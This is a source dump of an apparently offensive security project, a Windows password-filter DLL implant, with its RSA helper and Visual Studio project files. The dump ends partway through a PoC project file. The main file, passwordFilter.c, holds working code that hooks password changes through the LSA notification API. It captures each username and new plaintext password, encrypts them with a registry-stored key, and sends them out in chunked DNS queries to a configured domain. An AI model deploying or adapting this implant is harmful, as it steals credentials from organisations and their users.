├── .gitignore
├── DLLPasswordFilterImplant.sln
├── DLLPasswordFilterImplant
├── DLLPasswordFilterImplant.vcxproj
├── DLLPasswordFilterImplant.vcxproj.filters
├── crypt.c
├── crypt.h
├── passwordFilter.c
├── stdafx.h
└── targetver.h
├── LICENSE
├── PoC
├── PoC.vcxproj
├── PoC.vcxproj.filters
└── main.cpp
├── README.md
└── scripts
├── dns.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.suo
8 | *.user
9 | *.userosscache
10 | *.sln.docstates
11 |
12 | # User-specific files (MonoDevelop/Xamarin Studio)
13 | *.userprefs
14 |
15 | # Build results
16 | [Dd]ebug/
17 | [Dd]ebugPublic/
18 | [Rr]elease/
19 | [Rr]eleases/
20 | x64/
21 | x86/
22 | bld/
23 | [Bb]in/
24 | [Oo]bj/
25 | [Ll]og/
26 |
27 | # Visual Studio 2015/2017 cache/options directory
28 | .vs/
29 | # Uncomment if you have tasks that create the project's static files in wwwroot
30 | #wwwroot/
31 |
32 | # Visual Studio 2017 auto generated files
33 | Generated\ Files/
34 |
35 | # MSTest test Results
36 | [Tt]est[Rr]esult*/
37 | [Bb]uild[Ll]og.*
38 |
39 | # NUNIT
40 | *.VisualState.xml
41 | TestResult.xml
42 |
43 | # Build Results of an ATL Project
44 | [Dd]ebugPS/
45 | [Rr]eleasePS/
46 | dlldata.c
47 |
48 | # Benchmark Results
49 | BenchmarkDotNet.Artifacts/
50 |
51 | # .NET Core
52 | project.lock.json
53 | project.fragment.lock.json
54 | artifacts/
55 | **/Properties/launchSettings.json
56 |
57 | # StyleCop
58 | StyleCopReport.xml
59 |
60 | # Files built by Visual Studio
61 | *_i.c
62 | *_p.c
63 | *_i.h
64 | *.ilk
65 | *.meta
66 | *.obj
67 | *.iobj
68 | *.pch
69 | *.pdb
70 | *.ipdb
71 | *.pgc
72 | *.pgd
73 | *.rsp
74 | *.sbr
75 | *.tlb
76 | *.tli
77 | *.tlh
78 | *.tmp
79 | *.tmp_proj
80 | *.log
81 | *.vspscc
82 | *.vssscc
83 | .builds
84 | *.pidb
85 | *.svclog
86 | *.scc
87 |
88 | # Chutzpah Test files
89 | _Chutzpah*
90 |
91 | # Visual C++ cache files
92 | ipch/
93 | *.aps
94 | *.ncb
95 | *.opendb
96 | *.opensdf
97 | *.sdf
98 | *.cachefile
99 | *.VC.db
100 | *.VC.VC.opendb
101 |
102 | # Visual Studio profiler
103 | *.psess
104 | *.vsp
105 | *.vspx
106 | *.sap
107 |
108 | # Visual Studio Trace Files
109 | *.e2e
110 |
111 | # TFS 2012 Local Workspace
112 | $tf/
113 |
114 | # Guidance Automation Toolkit
115 | *.gpState
116 |
117 | # ReSharper is a .NET coding add-in
118 | _ReSharper*/
119 | *.[Rr]e[Ss]harper
120 | *.DotSettings.user
121 |
122 | # JustCode is a .NET coding add-in
123 | .JustCode
124 |
125 | # TeamCity is a build add-in
126 | _TeamCity*
127 |
128 | # DotCover is a Code Coverage Tool
129 | *.dotCover
130 |
131 | # AxoCover is a Code Coverage Tool
132 | .axoCover/*
133 | !.axoCover/settings.json
134 |
135 | # Visual Studio code coverage results
136 | *.coverage
137 | *.coveragexml
138 |
139 | # NCrunch
140 | _NCrunch_*
141 | .*crunch*.local.xml
142 | nCrunchTemp_*
143 |
144 | # MightyMoose
145 | *.mm.*
146 | AutoTest.Net/
147 |
148 | # Web workbench (sass)
149 | .sass-cache/
150 |
151 | # Installshield output folder
152 | [Ee]xpress/
153 |
154 | # DocProject is a documentation generator add-in
155 | DocProject/buildhelp/
156 | DocProject/Help/*.HxT
157 | DocProject/Help/*.HxC
158 | DocProject/Help/*.hhc
159 | DocProject/Help/*.hhk
160 | DocProject/Help/*.hhp
161 | DocProject/Help/Html2
162 | DocProject/Help/html
163 |
164 | # Click-Once directory
165 | publish/
166 |
167 | # Publish Web Output
168 | *.[Pp]ublish.xml
169 | *.azurePubxml
170 | # Note: Comment the next line if you want to checkin your web deploy settings,
171 | # but database connection strings (with potential passwords) will be unencrypted
172 | *.pubxml
173 | *.publishproj
174 |
175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
176 | # checkin your Azure Web App publish settings, but sensitive information contained
177 | # in these scripts will be unencrypted
178 | PublishScripts/
179 |
180 | # NuGet Packages
181 | *.nupkg
182 | # The packages folder can be ignored because of Package Restore
183 | **/[Pp]ackages/*
184 | # except build/, which is used as an MSBuild target.
185 | !**/[Pp]ackages/build/
186 | # Uncomment if necessary however generally it will be regenerated when needed
187 | #!**/[Pp]ackages/repositories.config
188 | # NuGet v3's project.json files produces more ignorable files
189 | *.nuget.props
190 | *.nuget.targets
191 |
192 | # Microsoft Azure Build Output
193 | csx/
194 | *.build.csdef
195 |
196 | # Microsoft Azure Emulator
197 | ecf/
198 | rcf/
199 |
200 | # Windows Store app package directories and files
201 | AppPackages/
202 | BundleArtifacts/
203 | Package.StoreAssociation.xml
204 | _pkginfo.txt
205 | *.appx
206 |
207 | # Visual Studio cache files
208 | # files ending in .cache can be ignored
209 | *.[Cc]ache
210 | # but keep track of directories ending in .cache
211 | !*.[Cc]ache/
212 |
213 | # Others
214 | ClientBin/
215 | ~$*
216 | *~
217 | *.dbmdl
218 | *.dbproj.schemaview
219 | *.jfm
220 | *.pfx
221 | *.publishsettings
222 | orleans.codegen.cs
223 |
224 | # Including strong name files can present a security risk
225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
226 | #*.snk
227 |
228 | # Since there are multiple workflows, uncomment next line to ignore bower_components
229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
230 | #bower_components/
231 |
232 | # RIA/Silverlight projects
233 | Generated_Code/
234 |
235 | # Backup & report files from converting an old project file
236 | # to a newer Visual Studio version. Backup files are not needed,
237 | # because we have git ;-)
238 | _UpgradeReport_Files/
239 | Backup*/
240 | UpgradeLog*.XML
241 | UpgradeLog*.htm
242 | ServiceFabricBackup/
243 |
244 | # SQL Server files
245 | *.mdf
246 | *.ldf
247 | *.ndf
248 |
249 | # Business Intelligence projects
250 | *.rdl.data
251 | *.bim.layout
252 | *.bim_*.settings
253 | *.rptproj.rsuser
254 |
255 | # Microsoft Fakes
256 | FakesAssemblies/
257 |
258 | # GhostDoc plugin setting file
259 | *.GhostDoc.xml
260 |
261 | # Node.js Tools for Visual Studio
262 | .ntvs_analysis.dat
263 | node_modules/
264 |
265 | # Visual Studio 6 build log
266 | *.plg
267 |
268 | # Visual Studio 6 workspace options file
269 | *.opt
270 |
271 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
272 | *.vbw
273 |
274 | # Visual Studio LightSwitch build output
275 | **/*.HTMLClient/GeneratedArtifacts
276 | **/*.DesktopClient/GeneratedArtifacts
277 | **/*.DesktopClient/ModelManifest.xml
278 | **/*.Server/GeneratedArtifacts
279 | **/*.Server/ModelManifest.xml
280 | _Pvt_Extensions
281 |
282 | # Paket dependency manager
283 | .paket/paket.exe
284 | paket-files/
285 |
286 | # FAKE - F# Make
287 | .fake/
288 |
289 | # JetBrains Rider
290 | .idea/
291 | *.sln.iml
292 |
293 | # CodeRush
294 | .cr/
295 |
296 | # Python Tools for Visual Studio (PTVS)
297 | __pycache__/
298 | *.pyc
299 |
300 | # Cake - Uncomment if you are using it
301 | # tools/**
302 | # !tools/packages.config
303 |
304 | # Tabs Studio
305 | *.tss
306 |
307 | # Telerik's JustMock configuration file
308 | *.jmconfig
309 |
310 | # BizTalk build output
311 | *.btp.cs
312 | *.btm.cs
313 | *.odx.cs
314 | *.xsd.cs
315 |
316 | # OpenCover UI analysis results
317 | OpenCover/
318 |
319 | # Azure Stream Analytics local run output
320 | ASALocalRun/
321 |
322 | # MSBuild Binary and Structured Log
323 | *.binlog
324 |
325 | # NVidia Nsight GPU debugger configuration file
326 | *.nvuser
327 |
328 | # MFractors (Xamarin productivity tool) working folder
329 | .mfractor/
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.28803.202
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DLLPasswordFilterImplant", "DLLPasswordFilterImplant\DLLPasswordFilterImplant.vcxproj", "{2E582235-9A63-4F77-B78A-7C5FCC913F52}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PoC", "PoC\PoC.vcxproj", "{4C8D865B-4F36-4096-B304-630496C33F44}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x64.ActiveCfg = Debug|x64
19 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x64.Build.0 = Debug|x64
20 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x86.ActiveCfg = Debug|x64
21 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x86.Build.0 = Debug|x64
22 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x64.ActiveCfg = Release|x64
23 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x64.Build.0 = Release|x64
24 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x86.ActiveCfg = Release|Win32
25 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x86.Build.0 = Release|Win32
26 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x64.ActiveCfg = Debug|x64
27 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x64.Build.0 = Debug|x64
28 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x86.ActiveCfg = Debug|Win32
29 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x86.Build.0 = Debug|Win32
30 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x64.ActiveCfg = Release|x64
31 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x64.Build.0 = Release|x64
32 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x86.ActiveCfg = Release|Win32
33 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {BF4614F3-3191-413F-B7B4-C17536592479}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/DLLPasswordFilterImplant.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}
24 | Win32Proj
25 | Dll1
26 | 10.0
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | DynamicLibrary
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | DynamicLibrary
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 | $(Platform)\$(Configuration)\
76 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
77 |
78 |
79 | true
80 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
81 |
82 |
83 | false
84 | $(Platform)\$(Configuration)\
85 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
86 |
87 |
88 | false
89 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
90 |
91 |
92 |
93 | Use
94 | Level3
95 | Disabled
96 | true
97 | WIN32;_DEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
98 | true
99 | MultiThreadedDebug
100 |
101 |
102 | Windows
103 | true
104 |
105 |
106 |
107 |
108 | NotUsing
109 | Level3
110 | Disabled
111 | true
112 | _DEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
113 | true
114 | MultiThreadedDebug
115 |
116 |
117 | Windows
118 | true
119 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;bcrypt.lib;%(AdditionalDependencies)
120 |
121 |
122 |
123 |
124 | NotUsing
125 | Level3
126 | MaxSpeed
127 | true
128 | true
129 | true
130 | WIN32;NDEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
131 | true
132 | MultiThreaded
133 |
134 |
135 | Windows
136 | true
137 | true
138 | true
139 | Wininet.lib;Ntdll.lib;%(AdditionalDependencies)
140 |
141 |
142 |
143 |
144 | NotUsing
145 | Level3
146 | MaxSpeed
147 | true
148 | true
149 | true
150 | NDEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
151 | true
152 | MultiThreaded
153 |
154 |
155 | Windows
156 | true
157 | true
158 | true
159 | Wininet.lib;Ntdll.lib;%(AdditionalDependencies)
160 |
161 |
162 |
163 |
164 |
165 | NotUsing
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/DLLPasswordFilterImplant.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
10 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
11 |
12 |
13 |
14 |
15 | Source Files
16 |
17 |
18 | Source Files
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/crypt.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "crypt.h"
7 |
8 | #pragma comment(lib, "bcrypt.lib")
9 | #pragma comment(lib, "Crypt32.lib")
10 |
11 | crypt_ctx_t* crypt_new(buffer_t* key)
12 | {
13 | DWORD res = 0, len = 0;
14 | CERT_PUBLIC_KEY_INFO* ki;
15 |
16 | res = CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
17 | key->data, key->len,
18 | CRYPT_ENCODE_ALLOC_FLAG, // Windows will allocate the buffer.
19 | NULL,
20 | &ki, &len);
21 |
22 | crypt_ctx_t* ctx = HeapAlloc(GetProcessHeap(), 0, sizeof(crypt_ctx_t));
23 | res = BCryptOpenAlgorithmProvider(&ctx->hAlg, BCRYPT_RSA_ALGORITHM, 0, 0);
24 | assert(BCRYPT_SUCCESS(res) || !"BCryptOpenAlgorithmProvider");
25 |
26 | // Import public key into CNG.
27 | res = CryptImportPublicKeyInfoEx2(X509_ASN_ENCODING, ki, 0, NULL, &ctx->hKey);
28 | LocalFree(ki);
29 |
30 | return ctx;
31 | }
32 |
33 | void crypt_free(crypt_ctx_t* ctx)
34 | {
35 | assert(ctx != NULL);
36 |
37 | if (ctx->hAlg) BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
38 | if (ctx->hKey) BCryptDestroyKey(ctx->hKey);
39 | HeapFree(GetProcessHeap(), 0, ctx);
40 | }
41 |
42 | buffer_t* buffer_new(size_t len)
43 | {
44 | assert(len > 0);
45 | HANDLE h = GetProcessHeap();
46 | buffer_t* b = HeapAlloc(h, 0, sizeof(buffer_t));
47 | b->data = HeapAlloc(h, 0, len);
48 | b->len = len;
49 | return b;
50 | }
51 |
52 | void buffer_free(buffer_t* buffer)
53 | {
54 | assert(buffer && buffer->data);
55 | HANDLE h = GetProcessHeap();
56 | HeapFree(h, 0, buffer->data);
57 | HeapFree(h, 0, buffer);
58 | }
59 |
60 | buffer_t* crypt_rsa(crypt_ctx_t* ctx, buffer_t* plain)
61 | {
62 | DWORD res = 0, len = 0;
63 | BCRYPT_OAEP_PADDING_INFO padding;
64 |
65 | ZeroMemory(&padding, sizeof(padding));
66 | padding.pszAlgId = BCRYPT_SHA1_ALGORITHM;
67 |
68 | // Get required buffer size.
69 | res = BCryptEncrypt(ctx->hKey,
70 | plain->data, plain->len,
71 | &padding, NULL, 0, NULL, 0,
72 | &len, BCRYPT_PAD_OAEP);
73 |
74 | // Allocated encrypted buffer.
75 | buffer_t* encrypted = buffer_new(len);
76 | res = BCryptEncrypt(ctx->hKey,
77 | plain->data, plain->len,
78 | &padding, NULL, 0,
79 | encrypted->data, encrypted->len,
80 | &len, BCRYPT_PAD_OAEP);
81 |
82 | return encrypted;
83 | }
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/crypt.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | typedef struct buffer_ {
6 | BYTE* data;
7 | size_t len;
8 | } buffer_t;
9 |
10 | typedef struct crypt_ctx_ {
11 | BCRYPT_ALG_HANDLE hAlg;
12 | BCRYPT_KEY_HANDLE hKey;
13 | BCRYPT_AUTH_TAG_LENGTHS_STRUCT auth_tag_lens;
14 | size_t block_len;
15 | } crypt_ctx_t;
16 |
17 | buffer_t* buffer_new(size_t len);
18 | void buffer_free(buffer_t* buffer);
19 |
20 | crypt_ctx_t* crypt_new(buffer_t* key);
21 | void crypt_free(crypt_ctx_t* ctx);
22 | buffer_t* crypt_rsa(crypt_ctx_t* ctx, buffer_t* plain);
23 |
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/passwordFilter.c:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "crypt.h"
13 |
14 | #pragma comment(lib, "ws2_32.lib")
15 |
16 | #define MAX_LABEL_SIZE 62
17 | #define KEY_PATH "SYSTEM\\CurrentControlSet\\Control\\Lsa"
18 |
19 | #ifdef _DEBUG
20 | #define IS_DEBUG TRUE
21 | #else
22 | #define IS_DEBUG FALSE
23 | #endif // DEBUG
24 |
25 | FILE *pFile;
26 | struct addrinfo hints;
27 | struct addrinfo *result;
28 |
29 | // Default DllMain implementation
30 | BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
31 | {
32 | OutputDebugString(TEXT("DllMain"));
33 | switch (ul_reason_for_call)
34 | {
35 | case DLL_PROCESS_ATTACH:
36 | case DLL_THREAD_ATTACH:
37 | case DLL_THREAD_DETACH:
38 | case DLL_PROCESS_DETACH:
39 | break;
40 | }
41 | return TRUE;
42 | }
43 |
44 | __declspec(dllexport) BOOLEAN WINAPI InitializeChangeNotify(void)
45 | {
46 | if (IS_DEBUG)
47 | {
48 | //Initialize file for Debug
49 | errno_t test = fopen_s(&pFile, "c:\\windows\\temp\\logFile.txt", "w+");
50 | }
51 |
52 | //Initialize Winsock
53 | errno_t err;
54 | WSADATA wsaData;
55 | err = WSAStartup(MAKEWORD(2, 2), &wsaData);
56 |
57 | if (err != 0) return -1;
58 |
59 | //Initialize variables for getaddrinfo call
60 | result = NULL;
61 | struct addrinfo *ptr = NULL;
62 |
63 | //Initialize hints
64 | ZeroMemory(&hints, sizeof(hints));
65 | hints.ai_family = AF_INET;
66 | hints.ai_protocol = IPPROTO_UDP;
67 | hints.ai_socktype = SOCK_DGRAM;
68 |
69 | return TRUE;
70 | }
71 |
72 | __declspec(dllexport) BOOLEAN WINAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation)
73 | {
74 | return TRUE;
75 | }
76 |
77 | __declspec(dllexport) NTSTATUS WINAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword)
78 | {
79 | //Format data to send (UserName:Password)
80 | SIZE_T dataSize = (UserName->Length / 2) + (NewPassword->Length / 2) + 2; // 1 for ':' and another for the nullbyte
81 |
82 | buffer_t* creds = buffer_new(dataSize);
83 | snprintf(creds->data, creds->len, "%wZ:%wZ", UserName, NewPassword);
84 |
85 | if (IS_DEBUG)
86 | {
87 | fprintf(pFile, "RawData: ");
88 | for (int i = 0; i < creds->len - 1; i++) {
89 | fprintf(pFile, "%c", creds->data[i]);
90 | }
91 | fprintf(pFile, "\n");
92 | }
93 |
94 | //Get key from registry
95 | DWORD keyBufferSize;
96 | buffer_t* key;
97 |
98 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Key"), RRF_RT_REG_BINARY, NULL, NULL, &keyBufferSize); // Get buffer size
99 | key = buffer_new(keyBufferSize);
100 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Key"), RRF_RT_REG_BINARY, NULL, key->data, &keyBufferSize); // Get actual key value
101 | crypt_ctx_t* ctx = crypt_new(key);
102 | buffer_free(key);
103 |
104 | buffer_t* exfil = crypt_rsa(ctx, creds);
105 | buffer_free(creds);
106 |
107 | // Convert to hexadecimal.
108 | SIZE_T hexSize = 2*exfil->len + 1; // + 1 for null terminator.
109 | PSTR hexData = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * hexSize);
110 |
111 | for (int i = 0; i < exfil->len; i++)
112 | snprintf(hexData + i * 2, hexSize, "%02x", exfil->data[i]);
113 | buffer_free(exfil);
114 |
115 | if (IS_DEBUG)
116 | {
117 | fprintf(pFile, "Hex: ");
118 | for (int i = 0; i < hexSize - 1; i++)
119 | {
120 | fprintf(pFile, "%c", hexData[i]);
121 | }
122 | fprintf(pFile, "\n");
123 | }
124 |
125 | DWORD lenData = 0;
126 | for (int i = 0; i < (hexSize / (FLOAT) MAX_LABEL_SIZE); i++) { //Divide data into multiple requests if neccessary
127 |
128 | if ((i + 1) * MAX_LABEL_SIZE <= hexSize)
129 | {
130 | lenData = MAX_LABEL_SIZE;
131 | }
132 | else
133 | {
134 | lenData = (hexSize - 1) % MAX_LABEL_SIZE;
135 | if (lenData == 0) {
136 | break;
137 | }
138 | }
139 |
140 | //Select portion of data to be sent
141 | PSTR queryData;
142 |
143 | queryData = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * lenData);
144 |
145 | for (int j = 0; j < lenData; j++) {
146 | queryData[j] = hexData[i * MAX_LABEL_SIZE + j];
147 | }
148 |
149 | //Get domain from registry
150 | DWORD domainBufferSize;
151 | LPTSTR domain;
152 |
153 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Domain"), RRF_RT_ANY, NULL, NULL, &domainBufferSize); // Get buffer size
154 |
155 | domain = (LPTSTR)GlobalAlloc(GPTR, (sizeof(TCHAR) * (domainBufferSize + 1)));
156 |
157 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Domain"), RRF_RT_ANY, NULL, domain, &domainBufferSize); // Get actual domain value
158 |
159 | SIZE_T domainLength = _tcslen(domain);
160 |
161 | //Prepare query (requestNumber.data.domain.com)
162 | PSTR requestNumber;
163 |
164 | int digits = i, nbDigits = 1;
165 | while ((digits /= 10) > 0) nbDigits++;
166 | requestNumber = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * nbDigits);
167 | snprintf(requestNumber, (SIZE_T) nbDigits + 1, "%d", i); // Format to char
168 |
169 | PSTR query;
170 | SIZE_T querySize = nbDigits + lenData + domainLength + 1; // + 1 for the '.'
171 | query = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * querySize);
172 |
173 | for (int j = 0; j < nbDigits; j++) { //Append request number to query
174 | query[j] = requestNumber[j];
175 | }
176 |
177 | GlobalFree(requestNumber);
178 | query[nbDigits] = '.';
179 |
180 | for (int j = 0; j < lenData; j++) { //Append data to query
181 | query[j + nbDigits + 1] = queryData[j];
182 | }
183 |
184 | GlobalFree(queryData);
185 |
186 | for (int j = 0; j < domainLength; j++) { //Append domain to query
187 | query[j + nbDigits + lenData + 1] = (CHAR)domain[j];
188 | }
189 | GlobalFree(domain);
190 |
191 | query[querySize] = '\0'; //Append nullbyte to query
192 |
193 | if (IS_DEBUG) {
194 | fprintf(pFile, "Query: ");
195 | for (int q = 0; q < querySize; q++) {
196 | fprintf(pFile, "%c", query[q]);
197 | }
198 | fprintf(pFile, "\n");
199 | }
200 |
201 | //Send request.
202 | DWORD returnValue = getaddrinfo(query, "53", &hints, &result);
203 |
204 | GlobalFree(query);
205 | }
206 |
207 | GlobalFree(hexData);
208 | crypt_free(ctx);
209 |
210 | //End
211 | WSACleanup();
212 | if (IS_DEBUG) {
213 | fclose(pFile);
214 | }
215 | return 0;
216 | }
217 |
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/stdafx.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GoSecure/DLLPasswordFilterImplant/1ed6b088163a8e7752f71512b655a172b5f75972/DLLPasswordFilterImplant/stdafx.h
--------------------------------------------------------------------------------
/DLLPasswordFilterImplant/targetver.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GoSecure/DLLPasswordFilterImplant/1ed6b088163a8e7752f71512b655a172b5f75972/DLLPasswordFilterImplant/targetver.h
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 GoSecure Inc
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/PoC/PoC.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {4C8D865B-4F36-4096-B304-630496C33F44}
24 | PoC
25 | 10.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v142
32 | MultiByte
33 |
34 |
35 | Application
36 | false
37 | v142
38 | true
39 | MultiByte
40 |
41 |
42 | Application
43 | true
44 | v142
45 | MultiByte
46 |
47 |
48 | Application
49 | false
50 | v142
51 | true
52 | MultiByte
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
74 | $(Platform)\$(Configuration)\
75 |
76 |
77 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
78 | $(Platform)\$(Configuration)\
79 |
80 |
81 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
82 |
83 |
84 | $(SolutionDir)bin\$(Platform)\$(Configuration)\
85 |
86 |
87 |
88 | Level3
89 | MaxSpeed
90 | true
91 | true
92 | true
93 | true
94 | MultiThreaded
95 |
96 |
97 | Console
98 | true
99 | true
100 |
101 |
102 |
103 |
104 | Level3
105 | Disabled
106 | true
107 | true
108 |
109 |
110 | Console
111 |
112 |
113 |
114 |
115 | Level3
116 | Disabled
117 | true
118 | true
119 |
120 |
121 | Console
122 |
123 |
124 |
125 |
126 | Level3
127 | MaxSpeed
128 | true
129 | true
130 | true
131 | true
132 | MultiThreaded
133 |
134 |
135 | Console
136 | true
137 | true
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 | {2e582235-9a63-4f77-b78a-7c5fcc913f52}
146 |
147 |
148 |
149 |
150 |
151 |
--------------------------------------------------------------------------------
/PoC/PoC.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
